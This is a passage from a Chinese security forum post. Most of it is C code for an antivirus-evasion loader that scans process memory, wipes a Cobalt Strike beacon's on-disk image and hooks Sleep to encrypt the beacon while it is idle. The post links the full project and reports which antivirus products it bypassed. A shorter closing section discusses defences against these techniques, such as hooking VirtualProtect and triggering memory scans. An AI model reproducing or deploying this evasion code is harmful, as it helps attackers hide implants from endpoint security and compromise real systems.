    MEMORY\_BASIC\_INFORMATION mbi;  

    LPVOID lpAddress \= 0;  
    HANDLE hProcess \= OpenProcess(MAXIMUM\_ALLOWED, FALSE, GetCurrentProcessId());  

    int\* index \= &memoryInfo.index;  

    while (VirtualQueryEx(hProcess, lpAddress, &mbi, sizeof(mbi)))  
    {  
        // 查找可读可写可执行内存页  
        if (mbi.Protect \== PAGE\_EXECUTE\_READWRITE || mbi.Protect \== PAGE\_EXECUTE && mbi.Type \== MEM\_PRIVATE)  
        {  

            // 保存内存信息  
            memoryInfo.memoryPage\[\*index\].address \= mbi.BaseAddress;  
            memoryInfo.memoryPage\[\*index\].size \= (DWORD)mbi.RegionSize;  
            printf("BaseAddr = %p\\n", memoryInfo.memoryPage\[\*index\].address);  
            (\*index)++;  

            if ((\*index) \>= 3)  
                break;  
        }  
        // 更新到下一个内存页  
        lpAddress \= (LPVOID)((DWORD\_PTR)mbi.BaseAddress + mbi.RegionSize);  
    }  

    // 更新为已扫描内存  
    memoryInfo.isScanMemory \= TRUE;  

    // 释放shellcode内存页  
    VirtualFree(memoryInfo.memoryPage\[0\].address, 0, MEM\_RELEASE);  
}  


/\*  
    beacon 运行时已经可以清除内存的其他痕迹了  
\*/  
void DeleteOther() {  
    //这里发现一个问题,memoryscan之后,beacon的地址不一定是在filebeacon之后,但是大小存在差异(拉伸后的size小于file的size);  
//所以这比较一下最后两个页,size小的为拉伸后的beacon,也就是需要加密的,size大的为文件beacon 直接初始化并修改内存属性为rw;  
    MemoryAttrib beacon\_1 \= memoryInfo.memoryPage\[memoryInfo.index \- 2\];  
    MemoryAttrib beacon\_2 \= memoryInfo.memoryPage\[memoryInfo.index \- 1\];  
    //printf("beacon1.size : %d\\n", beacon\_1.size);  
    //printf("beacon2.size : %d\\n", beacon\_2.size);  
    if (beacon\_2.size \> beacon\_1.size) {  
        //printf("发生交换\\n");  
        MemoryAttrib beacon\_3 \= beacon\_2;  
        memoryInfo.memoryPage\[memoryInfo.index \- 1\] \= memoryInfo.memoryPage\[memoryInfo.index \- 2\];  
        memoryInfo.memoryPage\[memoryInfo.index \- 2\] \= beacon\_3;  
    }  


    printf("FileBeacon Address at 0x%p\\n", memoryInfo.memoryPage\[memoryInfo.index \- 2\].address);  
    printf("Beacon Address at 0x%p\\n", memoryInfo.memoryPage\[memoryInfo.index \- 1\].address);  


    MemoryAttrib Beacon\_org \= memoryInfo.memoryPage\[memoryInfo.index \- 2\];  
    DWORD org\_bufSize \= Beacon\_org.size;  
    RtlSecureZeroMemory(Beacon\_org.address, org\_bufSize); // 文件形式的beacon消除  
    DWORD oldProt;  
    VirtualProtect(Beacon\_org.address, Beacon\_org.size, PAGE\_READWRITE, &oldProt);// 修改内存属性  
    printf("文件形式beacon已清除 \\n");  

    //RtlSecureZeroMemory(memoryInfo.shellcodeaddress,memoryInfo.shellcodesize ); // 残留的shellcode消除  
    printf("shellcode 地址:%x\\n", memoryInfo.shellcodeaddress);  
    memoryInfo.iscleaned \= TRUE;  


}  
//自定义函数指针函数  
static void(WINAPI\* OldSleep)(DWORD dwMilliseconds) \= Sleep;  

void WINAPI My\_Sleep(DWORD dwMilliseconds) {  
    printf("调用sleep,休眠时间:%d\\n", dwMilliseconds);  
    //printf("oldsleep,地址是:0x%x\\n", OldSleep);  
    if (!memoryInfo.isScanMemory)   //扫描的动作只用发生一次  
        ScanMemoryMap();  
    if (!memoryInfo.iscleaned)  //清除动作只发生一次  
        DeleteOther();  
    My\_Encrypt();  
    OldSleep(dwMilliseconds);  
    My\_Decrypt();  
}  


void hookfun() {  
    DetourRestoreAfterWith();  
    DetourTransactionBegin();  
    DetourUpdateThread(GetCurrentThread());  
    DetourAttach(&(PVOID&)OldSleep, My\_Sleep);  
    //DetourAttach(&(PVOID&)OldVirtualAlloc, My\_VirtualAlloc);  
    if (0 \== DetourTransactionCommit())  
    {  
        printf("hooked succeed\\n");  
    }  
    else  
    {  
        printf("hook failed\\n");  
    }  

}  

3、项目
上述所有代码项目地址:https://github.com/minhangxiaohui/AvoidRandomKill

0x04 免杀效果
360:


静态:



动态:



火绒:


静态:



动态:



Kaspersky:




静态:



动态:



小红伞:
静态:



动态:这里被杀了



windows defender:
静态:



动态:



微步在线沙箱:
https://s.threatbook.com/report/ ... 5568387921277dccc01



总体来看免杀效果还算是不错,可惜小红书的动态没过;

0x05 思考
作为蓝队角色,首先要践行“未知攻,焉知防”,学习攻击手段和技术方法;然后只有充分的了解了攻击的原理和授权,我们才能回过头来思考,如何与其对抗;笔者认为一个健康的学习过程,应该如此;

如何对抗文中免杀技术
这里我们主要来探讨下,如何对抗文中用到的动态免杀技术:

1、对抗反沙箱技术

(1、沙箱不要修改样本原文件的任何特征尤其是名字

(2、沙箱最好是能模拟真实互联网环境

(3、沙箱要做好一些能获取基础信息函数的hook,比如GetSystemInfo 这个api,篡改返回值,这样一些尝试通过cpu个数来区分正式环境和沙箱环境的样本就不起作用了

(4、针对样本检测时间加速这个问题,沙箱最好是不要无脑hook sleep这个api,而是要给其设置一个开关;当我们检测到代码中存在GetTickCount调用的时候,关闭sleep的hook,这样就不会被样本发现时间被加速了;

(5、如果是免费对外开放使用的沙箱,不要在报告中暴露一些路径信息,可以将样本放到沙箱的桌面;

其他的反反沙箱技巧也有很多,以上是对本文提到的反沙箱技巧的对抗

2、对抗反动态内存扫描技术

(1、针对项目中的动态内存加密:杀软可以对 VirtualProtect进行hook(或者是更加底层的:NtProtectVirtualMemory),当发现其flNewProtect参数是PAGE_EXECUTE_READWRIT的时候,我们要对其尝试修改的lpAddress进行检查,使用内存扫描的yara规则,这样就可以及时准确的发现威胁。(上面小红伞感觉就是利用的这种方法,从而截杀的样本)

(2、杀软可以检查程序的“完整性”,扫描其ring3层的挂钩,劫持恶意样本自己的创建的挂钩;这就好比一些项目反杀软一样(如:TartarusGate这个项目是二开地狱之门而来,其通过检查api的地址是否是以e9开始,也就是汇编中的jmp指令,如果发现了就更加上下的api来修复这个api),直接以牙还牙;通过同样的方式,我们的杀软也可以去监测/卸载一些软件的hook;

(3、可以通过行为配置动态内存扫描来对抗,例如杀软通过行为监控检测到一次cmd调用whoami的行为触发之后,杀软可以快速dump内存并扫描,这样可以及时的发现内存中还未来得及加密的内存,当然这里存在一个时间是否来得及的问题;

笔者才疏学浅,若文中存在错误观点,欢迎斧正。

参考:

https://hstechdocs.helpsystems.c ... in.htm#_Toc65482774

https://maidang.cool/2022/26991.html

https://github.com/SergeyBel/AES

https://github.com/mgeeky/ShellcodeFluctuation

https://forum.butian.net/share/2017

https://forum.butian.net/share/1934

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 21:04 , Processed in 0.014707 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表